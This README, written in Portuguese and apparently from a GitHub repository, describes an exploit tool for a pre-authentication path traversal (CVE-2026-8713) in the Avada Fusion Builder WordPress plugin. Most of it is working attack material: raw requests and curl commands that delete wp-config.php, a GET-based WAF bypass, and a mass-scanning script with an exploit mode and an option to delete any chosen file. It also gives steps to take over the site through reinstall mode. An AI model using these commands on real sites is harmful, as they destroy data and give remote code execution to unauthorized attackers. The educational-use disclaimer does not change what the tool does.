
Path traversal pré-autenticação para exclusão arbitrária de arquivos no Avada (Fusion) Builder <= 3.15.3 levando a RCE (CVSS 9.1)
CVE-2026-8713 é uma vulnerabilidade crítica CVSS 9.1 no plugin/tema Avada (Fusion) Builder para WordPress. A função maybe_delete_files() na classe Fusion_Form_DB_Entries constrói caminhos de sistema de arquivos a partir de valores de entrada de formulário controlados pelo atacante usando substituição simples de string — sem validação realpath() ou verificações de contenção de diretório.
Um atacante não autenticado envia um payload de path traversal via handler fusion_form_submit_ajax. Quando o hook de shutdown Fusion_Form_DB_Privacy processa a entrada com privacy_expiration_action=delete, o arquivo alvo é removido do servidor.
| Versão | Status |
|---|---|
| Fusion Builder ≤ 3.15.3 | Vulnerável |
| Fusion Builder ≥ 3.15.4 | Corrigido |
| Tema Avada (todos) | O plugin empacotado pode estar vulnerável |
Nota: A versão do tema Avada (7.x) difere da versão do plugin Fusion Builder (3.x). A vulnerabilidade está no plugin, mas o scanner detecta ambos.
Em fusion-builder/inc/class-fusion-form-db-entries.php, o método maybe_delete_files() resolve caminhos de arquivo usando substituição de string sem validação de contenção:
$file_path = str_replace($upload['url'], $upload['path'], $value);
// Nenhuma verificação realpath() — sequências de path traversal passam
unlink($file_path);
1. Atacante envia formulário Avada via wp_ajax_nopriv_fusion_form_submit_ajax
→ Path traversal: ../../wp-config.php
→ privacy_expiration_action = delete
→ privacy_expiration_interval = 0
2. O hook de shutdown do WordPress dispara Fusion_Form_DB_Privacy
→ Processa a entrada do formulário armazenada
→ Chama maybe_delete_files() no caminho controlado pelo atacante
→ wp-config.php excluído
3. WordPress entra em modo de instalação/configuração
→ Atacante conecta o site a um banco de dados malicioso
→ Execução remota de código completa
O handler AJAX é registrado com wp_ajax_nopriv_, tornando-o acessível a usuários não autenticados:
POST /wp-admin/admin-ajax.php
action=fusion_form_submit_ajax
form_id=<id>
privacy_expiration_action=delete
fusion_privacy_expiration_interval=0
fusion_form_field_<name>=../../wp-config.php
Muitos hosts bloqueiam POST para /wp-admin/admin-ajax.php. O WordPress aceita parâmetros via GET neste endpoint, fornecendo um contorno trivial:
GET /wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=<id>&privacy_expiration_action=delete&...
git clone https://github.com/shinthink/CVE-2026-8713.git
cd CVE-2026-8713
pip install -r requirements.txt
# Apenas detecção (padrão — nenhuma exclusão de arquivo)
python cve_2026_8713.py -t target.com
# Detecção em massa
python cve_2026_8713.py -f targets.txt
# Modo de exploração — excluir wp-config.php
python cve_2026_8713.py -t target.com --exploit
# Excluir arquivo personalizado
python cve_2026_8713.py -t target.com --exploit --delete "../../../debug.log"
-t, --target Alvo único (domínio ou IP)
-f, --file Lista de alvos, um por linha
--exploit Ativar exclusão de arquivos (padrão: apenas detecção)
--delete PATH Caminho de arquivo personalizado para excluir (padrão: wp-config.php)
-o, --output Salvar resultados em arquivo
--threads Trabalhadores (padrão: 20)
-v, --verbose Mostrar saída detalhada
$ python cve_2026_8713.py -f targets.txt
CVE-2026-8713 Avada (Fusion) Builder | CVSS 9.1
Modo: Detecção | Alvos: 521 | Trabalhadores: 20
───────────────────────────────────────────────────────
[EXPLOIT] target-vuln.com 1.2s formulário #3 (AJAX aberto)
[VULN] target-waf.com 2.1s formulário #1 (WAF bloqueado)
[AVADA] target-noform.com 0.5s (nenhum formulário encontrado)
[-] target-noavada.com 0.3s
───────────────────────────────────────────────────────
Varredura concluída | Tempo: 45s
───────────────────────────────────────────────────────
Alvos : 521
Avada detectado : 47
Formulários encontrados : 12
Vulneráveis : 9
$ python cve_2026_8713.py -t target.com --exploit -v
CVE-2026-8713 — Exploit Avada Builder
CVSS 9.1 | Pré-Autenticação | Path Traversal → Exclusão de Arquivo → RCE
[+] Formulário Avada encontrado: id=3
[+] POST form_id=3: HTTP 403 (WAF bloqueado)
[+] GET form_id=3: HTTP 200 (WAF contornado)
Host : target.com
Avada : SIM
Formulário : 3
Excluído : wp-config.php (forçar reinstalação → RCE)
Tempo : 3.2s
Passo 1 — Verificar Avada
curl -sk 'https://target.com/wp-content/themes/Avada/style.css' | head -5
Passo 2 — Encontrar ID do formulário
curl -sk 'https://target.com/' | grep -oP 'fusion-form[^"]*form-id=["\x27](https://github.com/shinthink/cve-2026-8713/blob/HEAD/%5Cd+)'
Passo 3 — Enviar formulário com path traversal
curl -sk -X POST \
-d 'action=fusion_form_submit_ajax' \
-d 'form_id=3' \
-d 'privacy_expiration_action=delete' \
-d 'fusion_privacy_expiration_interval=0' \
-d 'fusion_form_field_x=../../wp-config.php' \
'https://target.com/wp-admin/admin-ajax.php'
Passo 4 — Contornar WAF (se POST bloqueado)
curl -sk 'https://target.com/wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=3&privacy_expiration_action=delete&fusion_privacy_expiration_interval=0&fusion_form_field_x=../../wp-config.php'
Passo 5 — Verificar e Explorar RCE
# Site in install mode?
curl -sk -o /dev/null -w '%{http_code}' 'https://target.com/wp-admin/install.php'
# HTTP 200 → wp-config deleted → connect malicious DB → full RCE
APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS.
Este software é destinado a profissionais de segurança realizando testes de penetração autorizados, organizações auditando sua própria infraestrutura e pesquisadores estudando exploração de vulnerabilidades.
O acesso não autorizado a sistemas de computador é ilegal e pode violar:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonésia: UU ITE Pasal 30 & 46
- União Europeia: Diretiva 2013/40/EU
- Reino Unido: Computer Misuse Act 1990
Os autores não assumem nenhuma responsabilidade por uso indevido.
Este projeto não é afiliado à ThemeFusion ou Avada.
| Recurso | Link |
|---|
| IONIX Advisory | ionix.io/threat-center/cve-2026-8713 |
| Wordfence Advisory | wordfence.com |
| Patchstack | patchstack.com |
| NVD Entry | CVE-2026-8713 |